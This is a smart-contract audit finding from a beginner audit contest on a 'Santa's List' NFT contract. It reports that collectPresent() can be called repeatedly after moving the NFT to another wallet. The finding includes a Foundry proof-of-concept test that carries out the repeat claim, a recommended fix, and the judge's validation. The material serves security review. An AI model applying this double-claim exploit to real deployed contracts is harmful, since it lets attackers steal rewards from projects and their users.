First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

User can `collectPresent()` multiple times

t0x1c

Summary

collectPresent() can be called multiple times by Nice or ExtraNice user to collect multiple NFTs. All they have to do is transfer the previous NFT to another wallet.


Additionally, there exists another vulnerability here: A person could be marked NICE first -> they collectPresent() . Then, they could be marked EXTRA_NICE later -> they are eligible to collectPresent() again.

The recommended fix provided later in this report would handle such cases too.

Vulnerability Details

Add this test inside SantasListTest.t.sol and run via forge test --mt test_t0x1c_CollectPresentIfAlreadyCollected -vv

function test_t0x1c_CollectPresentIfAlreadyCollected() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.NICE);
santasList.checkTwice(user, SantasList.Status.NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
address userAlternateWallet = makeAddr("userAlternateWallet");
vm.startPrank(user);
santasList.collectPresent();
assertEq(santasList.balanceOf(user), 1);
​
// get the value of private variable `s_tokenCounter` which is at storage slot 8.
// You can find that it's slot 8 by inspecting the storage layout obtained by
// running `forge inspect SantasList storageLayout --pretty`.
// It gives the following output:
/**
*
*
* | Name | Type | Slot | Offset | Bytes | Contract |
* |-----------------------|----------------------------------------------|------|--------|-------|-------------------------------|
* | _name | string | 0 | 0 | 32 | src/SantasList.sol:SantasList |
* | _symbol | string | 1 | 0 | 32 | src/SantasList.sol:SantasList |
* | _owners | mapping(uint256 => address) | 2 | 0 | 32 | src/SantasList.sol:SantasList |
* | _balances | mapping(address => uint256) | 3 | 0 | 32 | src/SantasList.sol:SantasList |
* | _tokenApprovals | mapping(uint256 => address) | 4 | 0 | 32 | src/SantasList.sol:SantasList |
* | _operatorApprovals | mapping(address => mapping(address => bool)) | 5 | 0 | 32 | src/SantasList.sol:SantasList |
* | s_theListCheckedOnce | mapping(address => enum SantasList.Status) | 6 | 0 | 32 | src/SantasList.sol:SantasList |
* | s_theListCheckedTwice | mapping(address => enum SantasList.Status) | 7 | 0 | 32 | src/SantasList.sol:SantasList |
* | s_tokenCounter | uint256 | 8 | 0 | 32 | src/SantasList.sol:SantasList |
*
*
*/
bytes32 slot8 = vm.load(address(santasList), bytes32(uint256(8)));
uint256 tokenID = uint256(slot8);
​
// transfer to one's own alternate wallet
santasList.transferFrom(user, userAlternateWallet, tokenID - 1);
assertEq(santasList.balanceOf(user), 0);
​
// collect again. Do it over & over again.
santasList.collectPresent();
assertEq(santasList.balanceOf(user), 1);
}

Impact

Unlimited NFT collection by a user.

Tools Used

Foundry

Recommendations

Add a mapping mapping(address => bool) private claimed which keeps track if an address has already collected the NFT once.

function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
- if (balanceOf(msg.sender) > 0) {
+ if (claimed[msg.sender]) {
revert SantasList__AlreadyCollected();
}
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
+ claimed[msg.sender] = true;
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
+ claimed[msg.sender] = true;
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.